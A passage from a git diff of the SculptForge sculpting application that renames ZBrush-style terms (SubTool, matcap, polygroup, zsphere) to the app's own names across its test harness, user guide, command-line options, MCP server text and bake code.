-// background_r / background_g / background_b (the flat colour, 0-255), subtool_shading (0 Scene, 1 Smooth, 2 Flat),
-// custom_matcaps (MatCaps loaded from images), material_custom (1 when the view uses
-// one), matcap_files (images in the library's MatCaps folder),
+// background_r / background_g / background_b (the flat colour, 0-255), part_shading (0 Scene, 1 Smooth, 2 Flat),
+// custom_lit spheres (Lit Spheres loaded from images), material_custom (1 when the view uses
+// one), lit sphere_files (images in the library's Lit Spheres folder),
// support_requests (times Support SculptForge was clicked; never opens a browser in tests),
// whats_new_open, whats_new_cards, whats_new_tries (What's New and its Try it clicks),
// whats_new_contents / whats_new_expanded (its guide chapter: contents entries, open sections),
// custom_brush_active (a custom brush is the active one),
// welcome_open (the first-run welcome shown), new_look_card_open (the one-time
// "SculptForge has a new look" card),
-// subtools (count), subtool_thumbnails (SubTool panel thumbnails rendered), active_subtool (index, 0 = top), visible_subtools,
+// parts (count), part_thumbnails (Part panel thumbnails rendered), active_part (index, 0 = top), visible_parts,
// extract_preview (1 while an Extract preview waits for Accept), open_edges (edges of
-// the active SubTool with one triangle: 0 = watertight),
-// edited_subtools (SubTools with undo history), user_brushes (brushes in the
+// the active Part with one triangle: 0 = watertight),
+// edited_parts (Parts with undo history), user_brushes (brushes in the
// user library), library_files (.sfbrush files in it; UI tests get an empty
// one in --ui-out/brush-library), ui_config (1 once Store Config wrote ui.json),
// console_open, command_palette_open, customize, shelves_visible,
-// right_tray_open, left_tray_open, right_tray_shown (drawn), shell_narrow, offscreen_items (past the window edge), lightbox_open, guide_open, guide_hits (search results), shelves (1 shown), left_tray / right_tray (palettes in
+// right_tray_open, left_tray_open, right_tray_shown (drawn), shell_narrow, offscreen_items (past the window edge), Library_open, guide_open, guide_hits (search results), shelves (1 shown), left_tray / right_tray (palettes in
// the tray, -1 when closed); OP is == != < <= > >=; N may be $NAME, $NAME*K,
// $NAME+K or $NAME-K (see remember)
// moved (vertices moved since `snapshot`), moved_max / moved_sum (distance),
@@ -117,8 +117,8 @@
// axis), camera_distance, camera_pan (target offset);
// N may be $NAME or $NAME*K for a value kept by `remember`
// paint_layers (paint layers above Base), active_paint_layer (-1 = Base),
-// paint_mean_r / paint_mean_g / paint_mean_b (mean displayed polypaint, sRGB 0-255)
-// uvs (1 when the SubTool has UVs), texture_size (0 = no texture), paint_texture (1 when
+// paint_mean_r / paint_mean_g / paint_mean_b (mean displayed vertex paint, sRGB 0-255)
+// uvs (1 when the Part has UVs), texture_size (0 = no texture), paint_texture (1 when
// painting goes into the texture), texture_layers, active_texture_layer,
// texture_painted (texels of the texture composite that aren't white),
// texture_mean_r / texture_mean_g / texture_mean_b (mean composite, sRGB 0-255),
@@ -128,9 +128,9 @@
// roughness differs from the default), shown_mean_r (mean red the viewport is sent),
// layer_channel_<id> (1 when the active texture layer has channel <id> on, e.g. roughness)
// auto_uv_running, qremesh_running (QRemesh working in the background),
-// qremesh_guides (guide curves on the active SubTool), qremesh_guide_loops (closed ones),
+// qremesh_guides (guide curves on the active Part), qremesh_guide_loops (closed ones),
// guides_mode (1 while the QRemesh Guides brush is picked),
-// quads (quad pairs in the active SubTool), quad_percent (quads among its polygons)
+// quads (quad pairs in the active Part), quad_percent (quads among its polygons)
// mask_shape (0 MaskPen, 1 MaskLasso, 2 MaskRect), hide_shape (1 SelectLasso, 2 SelectRect)
// sdiv (the current subdivision level, 1 = base; 0 without levels), sdiv_levels (0 = none)
// antialiasing (Preferences > Performance: 1, 2, 4, 8), view_samples (what the interactive
@@ -154,7 +154,7 @@
// pressure curve: its points, its value at half pressure x100), brush_curves (brushes with
// their own curve), dab_error_px (the last stroke's dab furthest from its cursor
// position, projected back), dab_jitter / dab_jitter_raw (its depth wobble with / without
-// the pick filter, x1000 radii), dabs, pixel_density (2 on a HiDPI screen), input_style (0 ZBrush, 1 SculptForge, 2 Blender), turntable,
+// the pick filter, x1000 radii), dabs, pixel_density (2 on a HiDPI screen), input_style (0 classic, 1 SculptForge, 2 Blender), turntable,
// camera_ortho, mask_brush (Blender's Mask brush on), shortcut_conflicts (keys two actions
// claim), brush_type (BrushType
// index, -1 for a custom brush or Paint), last_dab_x / last_dab_y (window pixels), paint_r
@@ -162,7 +162,7 @@
// 0 = none, in gizmo_drag's order from 1), gizmo_falloff, pivot_x / pivot_y / pivot_z,
// center_x / center_y / center_z and size_x / size_y / size_z (active mesh bounds)
// bake_running, baked_maps (maps in the last bake), bake_size, bake_files (files it wrote),
-// normal_map_preview (1 when the active SubTool shows its baked normal map)
+// normal_map_preview (1 when the active Part shows its baked normal map)
// splat_training (1 while a splat trains), splat_previews (checkpoints shown), splat_train_step,
// splat_train_stage (4 done, 5 failed, 6 cancelled), splat_train_psnr, splat_train_prompt
// sculptable_running, sculptable_review, sculptable_landmarks (8 when placed),
@@ -171,7 +171,7 @@
// phone_running (1 while the phone link listens), phone_uploads (uploads under way),
// phone_captures (captures received), phone_face_frames, phone_face_fps, phone_recording,
// phone_take_frames, phone_ar_version (AR models published), phone_ar_busy
-// (mesh values are the active SubTool's)
+// (mesh values are the active Part's)
// snapshot remember the active mesh's vertices (for the moved* values)
// remember VALUE NAME keep VALUE's current value as $NAME
// run_fails COMMAND ... run a command that must be refused (bad arguments)
@@ -187,7 +187,7 @@
// script), in 64 KB chunks with one lost chunk resumed, then finish the capture
// phone_face NAME=W ... [frames=N] N face messages (default 5) with these ARKit weights
// phone_request METHOD PATH STATUS [BODY] any request with the session token; fails unless the answer has
-// STATUS (e.g. phone_request POST /api/ar 200 {"scope":"subtool","size":20})
+// STATUS (e.g. phone_request POST /api/ar 200 {"scope":"part","size":20})
// (tools/guide/update_shortcuts.py puts it into docs/guide/shortcuts.md)
//
// Simulated graphics tablet: real SDL3 pen events, each followed by the mouse event SDL 3.2 synthesizes
@@ -212,7 +212,7 @@
// a new id
// tablet_unplug ... and unplugged
// pen_new the next pen has a new id, without a device event (Wacom Bridge, eraser on Wayland)
-// click_subtool NAME U V 1 pen [S] tap the Part with the pen tip instead (held S seconds)
+// click_part NAME U V 1 pen [S] tap the Part with the pen tip instead (held S seconds)
// sdl_pen_mouse on|stuck SDL's mouse events for the pen: on (SDL 3.2's), stuck (none, as after SDL dropped a
// touching pen on Windows, #95; the app makes its own)
// pen_lost SDL drops the pen while it touches (WM_POINTERCAPTURECHANGED): it leaves proximity
@@ -239,7 +239,7 @@
// content scale changes, with SDL's event (Windows DPI, another monitor); logical_width W: the display scale that makes the window W logical px wide (#105)
// expect_value ui_scale (percent built now), font_height (default font, px), frame_height, panel_width (right
// shelf, px), title_height
-// expect_value look (0 Classic, 1 Forge Terminal, 2 Phosphor, 3 Blueprint), shell_layout (0 ZBrush-style, 1 SculptForge)
+// expect_value look (0 Classic, 1 Forge Terminal, 2 Phosphor, 3 Blueprint), shell_layout (0 classic, 1 SculptForge)
#include "app/App.h"
#include "ai/Http.h"
@@ -250,7 +250,7 @@
#include "app/Ui.h"
#include "core/BrushLibrary.h"
-#include "core/Matcap.h"
+#include "core/LitSphere.h"
#include "core/Multires.h"
#include "core/Script.h"
#include "core/SelectionSets.h"
@@ -462,18 +462,18 @@ double Demo::query(const std::string& name, bool& known) const {
return double(n);
}
if (name == "guides_mode") return app_.guidesMode_ ? 1.0 : 0.0;
- if (name == "zspheres") return double(m.zspheres.size());
- if (name == "zsphere_preview") return m.zspherePreview ? 1.0 : 0.0;
- if (name == "zsphere_selected") return double(app_.zsphereSelection());
- if (name == "zsphere_menu") return app_.zsMenuShown_ ? 1.0 : 0.0;
- if (name == "zsphere_place_child") return app_.zspherePlaceChild_ ? 1.0 : 0.0;
- if (name.rfind("zsphere_out", 0) == 0) { // zsphere_out2: how far sphere 2 is from its parent, in the parent's radii
- const size_t i = size_t(std::atoi(name.c_str() + 11));
- if (i == 0 || i >= m.zspheres.size()) return -1.0;
- const ZSphere& p = m.zspheres[size_t(m.zspheres[i].parent)];
- return double(glm::distance(m.zspheres[i].center, p.center) / p.radius);
+ if (name == "forgespheres") return double(m.forgespheres.size());
+ if (name == "forgesphere_preview") return m.forgespherePreview ? 1.0 : 0.0;
+ if (name == "forgesphere_selected") return double(app_.forgesphereSelection());
+ if (name == "forgesphere_menu") return app_.zsMenuShown_ ? 1.0 : 0.0;
+ if (name == "forgesphere_place_child") return app_.forgespherePlaceChild_ ? 1.0 : 0.0;
+ if (name.rfind("forgesphere_out", 0) == 0) { // forgesphere_out2: how far sphere 2 is from its parent, in the parent's radii
+ const size_t i = size_t(std::atoi(name.c_str() + 15));
+ if (i == 0 || i >= m.forgespheres.size()) return -1.0;
+ const ForgeSphere& p = m.forgespheres[size_t(m.forgespheres[i].parent)];
+ return double(glm::distance(m.forgespheres[i].center, p.center) / p.radius);
}
- if (name == "zsphere_root_x") return m.zspheres.empty() ? 0.0 : double(m.zspheres[0].center.x);
+ if (name == "forgesphere_root_x") return m.forgespheres.empty() ? 0.0 : double(m.forgespheres[0].center.x);
if (name == "connected_only") return app_.uiPrefs_.connectedOnly ? 1.0 : 0.0;
if (name == "view_falloff") return app_.uiPrefs_.viewFalloff ? 1.0 : 0.0;
if (name == "smooth_remesh") return std::round(app_.doc_.sculptor.dyntopo.smoothRemesh * 100.0f);
@@ -481,10 +481,10 @@ double Demo::query(const std::string& name, bool& known) const {
if (name == "maya_zoom_horizontal") return app_.uiPrefs_.mayaZoomHorizontal ? 1.0 : 0.0;
if (name == "along_normal") return double(app_.uiPrefs_.alongNormal);
if (name == "stroke_along_normal") return app_.strokeAlongNormal_ ? 1.0 : 0.0;
- if (name.rfind("zsphere_x", 0) == 0 || name.rfind("zsphere_r", 0) == 0) { // zsphere_x2, zsphere_r2: sphere 2's x / radius
- const size_t i = size_t(std::atoi(name.c_str() + 9));
- if (i >= m.zspheres.size()) return -1.0;
- return name[8] == 'x' ? double(m.zspheres[i].center.x) : double(m.zspheres[i].radius);
+ if (name.rfind("forgesphere_x", 0) == 0 || name.rfind("forgesphere_r", 0) == 0) { // forgesphere_x2, forgesphere_r2: sphere 2's x / radius
+ const size_t i = size_t(std::atoi(name.c_str() + 13));
+ if (i >= m.forgespheres.size()) return -1.0;
+ return name[12] == 'x' ? double(m.forgespheres[i].center.x) : double(m.forgespheres[i].radius);
}
if (name == "quads") return double(m.quadCount());
if (name == "quad_percent")
@@ -501,7 +501,7 @@ double Demo::query(const std::string& name, bool& known) const {
const int k = name.back() == 'r' ? 0 : name.back() == 'g' ? 1 : 2;
return sum[k] / double(px.size() / 4);
}
- // ZBrush feel (Input.cpp): the intensities and Focal Shift as shown (0-100, -100..100).
+ // classic feel (Input.cpp): the intensities and Focal Shift as shown (0-100, -100..100).
if (name == "z_intensity") return std::round(app_.strength_ * 100.0f);
if (name == "smooth_keep_volume") return app_.smoothKeepVolume_ ? 1.0 : 0.0;
if (name == "smooth_group_borders") return app_.smoothGroupBorders_ ? 1.0 : 0.0;
@@ -530,7 +530,7 @@ double Demo::query(const std::string& name, bool& known) const {
if (name == "hover_rings") return double(ui::HoverRingsShown()); // hover and focus rings drawn last frame
if (name == "hover_lifts") return double(ui::HoverLiftsShown()); // tiles lifted last frame
if (name == "reduce_motion") return app_.uiPrefs_.reduceMotion ? 1.0 : 0.0;
- if (name == "shell_layout") return double(app_.uiPrefs_.shellLayout); // 0 ZBrush-style, 1 SculptForge
+ if (name == "shell_layout") return double(app_.uiPrefs_.shellLayout); // 0 classic, 1 SculptForge
if (name == "air_strokes") return app_.uiPrefs_.airStrokes ? 1.0 : 0.0;
if (name == "emulate_3_button") return app_.uiPrefs_.emulate3Button ? 1.0 : 0.0; // Blender style (#77)
if (name == "space_held") return app_.spaceHeld_ ? 1.0 : 0.0;
@@ -655,30 +655,30 @@ double Demo::query(const std::string& name, bool& known) const {
if (name == "can_undo") return app_.doc_.undo.canUndo() ? 1.0 : 0.0;
if (name == "dirty") return app_.doc_.dirty() ? 1.0 : 0.0;
if (name == "splats") return double(app_.doc_.splats.size());
- if (name == "show_polygroups") return app_.renderSettings_.showPolygroups ? 1.0 : 0.0;
+ if (name == "show_facegroups") return app_.renderSettings_.showFaceGroups ? 1.0 : 0.0;
if (name == "show_mask") return app_.renderSettings_.showMask ? 1.0 : 0.0;
if (name == "show_mesh") return app_.renderSettings_.showMesh ? 1.0 : 0.0;
if (name == "wireframe") return app_.renderSettings_.wireframe ? 1.0 : 0.0;
- if (name == "custom_matcaps") {
+ if (name == "custom_litspheres") {
int n = 0;
- for (int i = builtinMatcapCount(); i < matcapCount(); ++i) n += isMatcapListed(i) ? 1 : 0;
+ for (int i = builtinLitSphereCount(); i < litsphereCount(); ++i) n += isLitSphereListed(i) ? 1 : 0;
return double(n);
}
- if (name == "material_custom") return isCustomMatcap(app_.renderSettings_.matcap) ? 1.0 : 0.0;
- if (name == "matcap_files") {
+ if (name == "material_custom") return isCustomLitSphere(app_.renderSettings_.litsphere) ? 1.0 : 0.0;
+ if (name == "litsphere_files") {
int n = 0;
std::error_code ec;
- const std::string dir = app_.matcapFolder();
+ const std::string dir = app_.litsphereFolder();
for (std::filesystem::directory_iterator it(std::filesystem::path(std::u8string(dir.begin(), dir.end())), ec), end;
!dir.empty() && !ec && it != end; it.increment(ec))
- n += isMatcapFile(it->path().string()) ? 1 : 0;
+ n += isLitSphereFile(it->path().string()) ? 1 : 0;
return double(n);
}
if (name == "flat_shading") return app_.renderSettings_.flatShading ? 1.0 : 0.0;
if (name == "gradient_background") return app_.renderSettings_.gradientBackground ? 1.0 : 0.0;
if (name == "background_r" || name == "background_g" || name == "background_b") // 0-255, display values
return std::round(app_.renderSettings_.backgroundColor[name.back() == 'r' ? 0 : name.back() == 'g' ? 1 : 2] * 255.0f);
- if (name == "subtool_shading") return double(int(app_.doc_.activeSubtoolInfo().shading));
+ if (name == "part_shading") return double(int(app_.doc_.activePartInfo().shading));
if (name == "shelves") return app_.layout_.shelvesVisible ? 1.0 : 0.0;
if (name == "left_tray") return app_.layout_.leftTrayOpen ? double(app_.layout_.leftTray.size()) : -1.0;
if (name == "right_tray") return app_.layout_.rightTrayOpen ? double(app_.layout_.rightTray.size()) : -1.0;
@@ -700,11 +700,11 @@ double Demo::query(const std::string& name, bool& known) const {
for (const std::string& o : off) std::fprintf(stderr, "offscreen: %s\n", o.c_str());
return double(off.size());
}
- if (name == "lightbox_open") return app_.lightbox_.open() ? 1.0 : 0.0;
+ if (name == "library_open") return app_.libraryBrowser_.open() ? 1.0 : 0.0;
if (name == "guide_open") return app_.guide_.isOpen() ? 1.0 : 0.0;
if (name == "guide_hits") return double(app_.guide_.searchHits());
const Document& doc = app_.doc_;
- if (name == "subtools") return double(doc.subtoolCount());
+ if (name == "parts") return double(doc.partCount());
if (name == "discord_requests") return double(app_.discordRequests_); // Join the community on Discord clicks
if (name == "support_requests") return double(app_.supportPageRequests_); // Support SculptForge clicks
if (name == "ai_enabled") return ai::aiEnabled() ? 1.0 : 0.0; // Preferences > AI (PanelAi.cpp)
@@ -729,12 +729,12 @@ double Demo::query(const std::string& name, bool& known) const {
if (name == "custom_brush_active") return app_.doc_.activeBrush >= 0 && !app_.paintMode_ ? 1.0 : 0.0;
if (name == "supporter") return app_.supportCardPrefs_.supporter ? 1.0 : 0.0;
if (name == "support_card_enabled") return app_.supportCardPrefs_.enabled ? 1.0 : 0.0;
- if (name == "subtool_thumbnails") { // SubTool panel thumbnails rendered (#43)
+ if (name == "part_thumbnails") { // Part panel thumbnails rendered (#43)
double n = 0.0;
- for (const auto& [id, tex] : app_.subtoolThumbs_) n += tex ? 1.0 : 0.0;
+ for (const auto& [id, tex] : app_.partThumbs_) n += tex ? 1.0 : 0.0;
return n;
}
- if (name == "active_subtool") return double(doc.activeSubtool);
+ if (name == "active_part") return double(doc.activePart);
if (name == "extract_preview") return doc.extractPreviewCurrent() ? 1.0 : 0.0;
if (name == "open_edges") {
std::map<std::pair<uint32_t, uint32_t>, int> edges;
@@ -742,12 +742,12 @@ double Demo::query(const std::string& name, bool& known) const {
for (int k = 0; k < 3; ++k) ++edges[{std::min(t[k], t[(k + 1) % 3]), std::max(t[k], t[(k + 1) % 3])}];
return double(std::count_if(edges.begin(), edges.end(), [](const auto& e) { return e.second == 1; }));
}
- if (name == "visible_subtools")
- return double(std::count_if(doc.subtools.begin(), doc.subtools.end(), [](const SubTool& s) { return s.visible; }));
- if (name == "edited_subtools") { // SubTools with undo history (the active one's lives in doc.undo)
+ if (name == "visible_parts")
+ return double(std::count_if(doc.parts.begin(), doc.parts.end(), [](const Part& s) { return s.visible; }));
+ if (name == "edited_parts") { // Parts with undo history (the active one's lives in doc.undo)
int n = 0;
- for (int i = 0; i < doc.subtoolCount(); ++i)
- n += (i == doc.activeSubtool ? doc.undo.canUndo() : doc.subtools[size_t(i)].undo.canUndo()) ? 1 : 0;
+ for (int i = 0; i < doc.partCount(); ++i)
+ n += (i == doc.activePart ? doc.undo.canUndo() : doc.parts[size_t(i)].undo.canUndo()) ? 1 : 0;
return double(n);
}
if (name == "user_brushes")
@@ -885,7 +885,7 @@ double Demo::query(const std::string& name, bool& known) const {
if (name == "camera_distance") return app_.camera_.distance;
if (name == "camera_pan") return glm::length(app_.camera_.target);
if (name == "groups") {
- std::set<uint32_t> ids(m.polygroups.begin(), m.polygroups.end());
+ std::set<uint32_t> ids(m.facegroups.begin(), m.facegroups.end());
return double(std::max<size_t>(ids.size(), m.triangleCount() ? 1 : 0));
}
known = false;
@@ -1148,21 +1148,21 @@ bool Demo::parseStep(int line, const std::vector<std::string>& w, std::string& e
stroke([at](float) { return *at; }, 0.2f);
run([this] { SDL_SetModState(held_); });
wait(0.1f);
- } else if (verb == "click_subtool") {
+ } else if (verb == "click_part") {
if (!need(1)) return false;
const std::string name = w[1];
const float u = num(2, 0.5f), v = num(3, 0.5f);
- const int times = std::clamp(int(num(4, 1.0f)), 1, 3); // click_subtool NAME U V 3: a triple-click
+ const int times = std::clamp(int(num(4, 1.0f)), 1, 3); // click_part NAME U V 3: a triple-click
const bool pen = w.back() == "pen" || (w.size() > 5 && w[5] == "pen"); // taps with the pen tip instead
const float hold = pen && w.size() > 6 ? num(6, 0.0f) : 0.0f; // ... held this long
steps_.push_back([this, line, name, u, v, times, pen, hold](float t) {
- const int index = app_.doc_.findSubtool(name);
+ const int index = app_.doc_.findPart(name);
if (index < 0) {
fail(line, "no Part named \"" + name + "\"");
return true;
}
- // The point of its on-screen bounds nearest (U, V) where it's the front SubTool and no panel covers it.
- const AABB b = app_.doc_.subtoolMesh(index).bounds();
+ // The point of its on-screen bounds nearest (U, V) where it's the front Part and no panel covers it.
+ const AABB b = app_.doc_.partMesh(index).bounds();
ImVec2 lo(1e9f, 1e9f), hi(-1e9f, -1e9f);
for (int i = 0; i < 8; ++i) {
const ImVec2 p = project(glm::vec3((i & 1) ? b.max.x : b.min.x, (i & 2) ? b.max.y : b.min.y,
@@ -1184,7 +1184,7 @@ bool Demo::parseStep(int line, const std::vector<std::string>& w, std::string& e
for (int gx = 0; gx <= kGrid; ++gx) {
const ImVec2 q(lo.x + (hi.x - lo.x) * float(gx) / kGrid, lo.y + (hi.y - lo.y) * float(gy) / kGrid);
const float d = (q.x - want.x) * (q.x - want.x) + (q.y - want.y) * (q.y - want.y);
- if (d >= best || covered(q) || app_.pickSubtool(q.x, q.y) != index) continue;
+ if (d >= best || covered(q) || app_.pickPart(q.x, q.y) != index) continue;
p = q;
best = d;
found = true;
@@ -1533,7 +1533,7 @@ bool Demo::parseStep(int line, const std::vector<std::string>& w, std::string& e
if (!need(2)) return false;
App::FileAction action;
if (w[1] == "insert") action = App::FileAction::InsertMesh;
- else if (w[1] == "append") action = App::FileAction::AppendSubtool;
+ else if (w[1] == "append") action = App::FileAction::AppendPart;
else {
error = "'choose_file' takes insert or append";
return false;
@@ -1728,12 +1728,12 @@ bool Demo::parseStep(int line, const std::vector<std::string>& w, std::string& e
// quick_tour_offers: UI tests leave out the quick tour's one offer (it would sit over their clicks)
run([this] { app_.quickTourOffersInTests_ = true; });
} else if (verb == "input_style") {
- // input_style zbrush|sculptforge|blender|maya: as Preferences > Input sets it (scripts written for one style)
+ // input_style classic|sculptforge|blender|maya: as Preferences > Input sets it (scripts written for one style)
if (!need(1)) return false;
const std::string n = w[1];
- const int style = n == "zbrush" ? 0 : n == "sculptforge" ? 1 : n == "blender" ? 2 : n == "maya" ? 3 : -1;
+ const int style = n == "classic" ? 0 : n == "sculptforge" ? 1 : n == "blender" ? 2 : n == "maya" ? 3 : -1;
if (style < 0) {
- fail(line, "input_style takes zbrush, sculptforge, blender or maya"); // marks-pending
+ fail(line, "input_style takes classic, sculptforge, blender or maya");
return false;
}
run([this, style] { app_.setInputStyle(style); });
@@ -1812,8 +1812,8 @@ bool Demo::parseStep(int line, const std::vector<std::string>& w, std::string& e
} else if (verb == "wait_idle") {
const float timeout = num(1, 120.0f);
// Idle for several frames in a row: work is often only requested by the frame after an input (a
- // double-clicked LightBox folder is listed when the strip next draws), and a single idle frame in
- // between let the test run on before it started (ui_lightbox failed that way under a loaded ctest -j).
+ // double-clicked Library folder is listed when the strip next draws), and a single idle frame in
+ // between let the test run on before it started (ui_Library failed that way under a loaded ctest -j).
auto idleFrames = std::make_shared<int>(0);
steps_.push_back([this, line, timeout, idleFrames](float t) {
const bool idle = !app_.backgroundBusy(); // (the same list keeps the app's loop drawing, #14)
diff --git a/src/app/UserGuide.cpp b/src/app/UserGuide.cpp
index be6ab8fe..e9728106 100644
--- a/src/app/UserGuide.cpp
+++ b/src/app/UserGuide.cpp
@@ -6,6 +6,7 @@
#include "app/Theme.h"
#include "app/Ui.h"
#include "core/Image.h"
+#include "core/LegacyNames.h"
#include "render/GL.h"
#include <IconsLucide.h>
@@ -417,10 +418,10 @@ void UserGuide::navigate(const std::string& target, bool record) {
std::string file = t.file;
if (const size_t slash = file.rfind('/'); slash != std::string::npos) file = file.substr(slash + 1);
// Chapters renamed to SculptForge's own names: old links still find them.
- static const std::pair<const char*, const char*> kRenamed[] = {{"subtools.md", "parts.md"},
- {"zspheres.md", "forge-spheres.md"},
- {"polypaint.md", "vertex-paint.md"},
- {"polygroups.md", "face-groups.md"}};
+ file = legacy::modernize(file);
+ static const std::pair<const char*, const char*> kRenamed[] = {{"forgespheres.md", "forge-spheres.md"},
+ {"vertexpaint.md", "vertex-paint.md"},
+ {"facegroups.md", "face-groups.md"}};
for (const auto& [from, to] : kRenamed)
if (file == from) file = to;
if (file == "index.md") {
@@ -441,7 +442,7 @@ std::string UserGuide::websiteUrl() const {
std::string UserGuide::chapterFor(const std::string& palette, const std::string& actionId) {
auto starts = [&](const char* p) { return palette.rfind(p, 0) == 0; };
auto idStarts = [&](const char* p) { return actionId.rfind(p, 0) == 0; };
- // Palette paths by SculptForge's names, and the older ZBrush-style ones (stored layouts, scripts).
+ // Palette paths by SculptForge's names, and the older classic ones (stored layouts, scripts).
if (starts("Tool > Geometry > Quad Remesh") || starts("Tool > Geometry > QRemesh") || starts("Tool > Parts > Project") ||
starts("Tool > Part > Project"))
return "retopology.md";
diff --git a/src/app/main.cpp b/src/app/main.cpp
index 0c7d719b..6092afdc 100644
--- a/src/app/main.cpp
+++ b/src/app/main.cpp
@@ -36,7 +36,7 @@ void usage() {
" --view YAW,PITCH Camera angles in degrees (default -30,-15)\n"
" --zoom F Move the camera F times closer than the framed view (default 1)\n"
" --wireframe Render with wireframe overlay\n"
- " --polygroups Render with face group colours\n" // marks-pending
+ " --facegroups Render with face group colours\n"
" --hide-mesh Render only the Gaussian splats\n"
" --demo NAME Play a scripted demo (sculpt, image-to-3d, brush-lab, game-ready, splats)\n"
" --record out.mp4 Record the demo offscreen to a video (needs ffmpeg) and exit\n"
@@ -167,7 +167,7 @@ int main(int argc, char** argv) {
else if (a == "--view") std::sscanf(next().c_str(), "%f,%f", &options.yawDegrees, &options.pitchDegrees);
else if (a == "--zoom") options.zoom = std::max(0.05f, float(std::atof(next().c_str())));
else if (a == "--wireframe") options.wireframe = true;
- else if (a == "--polygroups") options.polygroups = true;
+ else if (a == "--facegroups") options.facegroups = true;
else if (a == "--hide-mesh") options.hideMesh = true;
else if (a == "--demo") options.demo = next();
else if (a == "--record") options.recordPath = next();
diff --git a/src/cli/McpServer.cpp b/src/cli/McpServer.cpp
index d4ff97d0..4c28b454 100644
--- a/src/cli/McpServer.cpp
+++ b/src/cli/McpServer.cpp
@@ -95,7 +95,7 @@ std::string handleMcpMessage(const CommandRegistry& registry, Document& doc, con
"SculptForge is a digital sculpting tool. One scene is kept for the whole session: start with "
"new_sphere, open (models, Gaussian-splat captures, USD) or image_to_3d, shape it with "
"subdivide/remesh/layers/decimate, then export_glb, export_usd, export_lods or splat_save. "
- "A scene can hold several Parts (separate meshes, see subtool_list): edits apply to the active " // marks-pending
+ "A scene can hold several Parts (separate meshes, see part_list): edits apply to the active "
"one, exports write every visible one. "
"Use mesh_info and splat_info to check results. File paths are on the user's machine.");
return reply(id, result).dump();
diff --git a/src/core/BVH.h b/src/core/BVH.h
index d74922c0..6cc3a841 100644
--- a/src/core/BVH.h
+++ b/src/core/BVH.h
@@ -55,7 +55,7 @@ public:
return n.count > 0 ? std::span<const uint32_t>(triIndices_.data() + n.first, n.count) : std::span<const uint32_t>();
}
void refitLeaves(const Mesh& mesh, std::span<const uint32_t> leaves);
- // Recomputes every box (same tree) after most of the mesh moved, e.g. a whole SubTool transformed.
+ // Recomputes every box (same tree) after most of the mesh moved, e.g. a whole Part transformed.
void refitAll(const Mesh& mesh);
// Dynamic topology (core/Dyntopo.h): a few triangles at a time added, removed or renumbered without a
diff --git a/src/core/Bake.cpp b/src/core/Bake.cpp
index 67be177c..a3b1e734 100644
--- a/src/core/Bake.cpp
+++ b/src/core/Bake.cpp
@@ -261,8 +261,8 @@ bool parseBakeMaps(const std::string& list, uint32_t& maps, std::string& error)
if (s == "convexity") s = "curvature";
if (s == "thick" || s == "translucency") s = "thickness";
if (s == "pos") s = "position";
- if (s == "material_id" || s == "polygroups" || s == "polygroup") s = "id";
- if (s == "colour" || s == "polypaint" || s == "albedo" || s == "texture") s = "color";
+ if (s == "material_id" || s == "facegroups" || s == "facegroup") s = "id";
+ if (s == "colour" || s == "vertexpaint" || s == "albedo" || s == "texture") s = "color";
bool found = false;
for (int i = 0; i < kBakeMapCount; ++i)
if (s == bakeMapId(BakeMap(i))) {
@@ -428,10 +428,10 @@ bool bakeMaps(const Mesh& low, const std::vector<const Mesh*>& sources, const Ba
out.positionMin = all.min;
out.positionMax = all.max;
const glm::vec3 posScale = 1.0f / glm::max(all.max - all.min, glm::vec3(1e-12f));
- // ID colours: by polygroup (when any source has them and IdSource::Polygroups) or by source mesh.
+ // ID colours: by face group (when any source has them and IdSource::Face groups) or by source mesh.
bool anyGroups = false;
- for (const Mesh* m : src.meshes) anyGroups = anyGroups || m->hasPolygroups();
- const bool idByGroup = st.idSource == BakeSettings::IdSource::Polygroups && anyGroups;
+ for (const Mesh* m : src.meshes) anyGroups = anyGroups || m->hasFaceGroups();
+ const bool idByGroup = st.idSource == BakeSettings::IdSource::FaceGroups && anyGroups;
// --- Output planes ---
const int W = st.size, H = st.size, S = st.samples;
@@ -634,7 +634,7 @@ bool bakeMaps(const Mesh& low, const std::vector<const Mesh*>& sources, const Ba
if (wantPos) a.pos += (hp - all.min) * posScale;
if (wantId) {
const Mesh& m = *src.meshes[src.triMesh[h.tri]];
- const uint32_t key = idByGroup ? m.polygroupAt(src.triLocal[h.tri]) * 2654435761u + src.triMesh[h.tri]
+ const uint32_t key = idByGroup ? m.facegroupAt(src.triLocal[h.tri]) * 2654435761u + src.triMesh[h.tri]
: src.triMesh[h.tri] * 2246822519u + 7u;
a.id += idMapColor(key);
}
@@ -1009,21 +1009,21 @@ std::string bakeSummary(const BakeResult& r) {
return s.str();
}
-bool bakeSourceSubtools(const Document& doc, const std::string& source, std::vector<int>& indices, std::string& error) {
+bool bakeSourceParts(const Document& doc, const std::string& source, std::vector<int>& indices, std::string& error) {
indices.clear();
if (source.empty() || source == "all" || source == "visible") {
- for (int i = 0; i < doc.subtoolCount(); ++i)
- if (i != doc.activeSubtool && doc.subtools[size_t(i)].visible && doc.subtoolMesh(i).triangleCount())
+ for (int i = 0; i < doc.partCount(); ++i)
+ if (i != doc.activePart && doc.parts[size_t(i)].visible && doc.partMesh(i).triangleCount())
indices.push_back(i);
if (indices.empty()) error = "No other visible Part to bake from: show the high-poly Part(s), or append one";
return !indices.empty();
}
- const int i = doc.findSubtool(source);
+ const int i = doc.findPart(source);
if (i < 0) {
error = "No Part called '" + source + "'";
return false;
}
- if (i == doc.activeSubtool) {
+ if (i == doc.activePart) {
error = "'" + source + "' is the active Part (the low-poly the maps go onto): pick another source";
return false;
}
@@ -1086,7 +1086,7 @@ void registerBakeCommands(CommandRegistry& reg) {
{"thickness_rays", T::Number, "Thickness rays per texel. Default 24.", false},
{"thickness_distance", T::Number, "Rays longer than this (a fraction of the size) count as thick. Default 0.1.", false},
{"curvature_radius", T::Number, "A bend of this radius (a fraction of the size) is fully bright or dark. Default 0.02.", false},
- {"id", T::String, "What the ID map colours: polygroups (default) or parts.", false}, // marks-pending
+ {"id", T::String, "What the ID map colours: facegroups (default) or parts.", false},
{"udim", T::Bool, "Bake UVs outside 0..1 as UDIM tiles (default true; false bakes the 0..1 square only).", false}},
[](Document& doc, const Args& a) -> CommandResult {
BakeSettings st;
@@ -1133,9 +1133,9 @@ void registerBakeCommands(CommandRegistry& reg) {
st.thicknessRays = int(argNumber(a, "thickness_rays", st.thicknessRays));
st.thicknessDistance = float(argNumber(a, "thickness_distance", st.thicknessDistance));
st.curvatureRadius = float(argNumber(a, "curvature_radius", st.curvatureRadius));
- const std::string id = argString(a, "id", "polygroups");
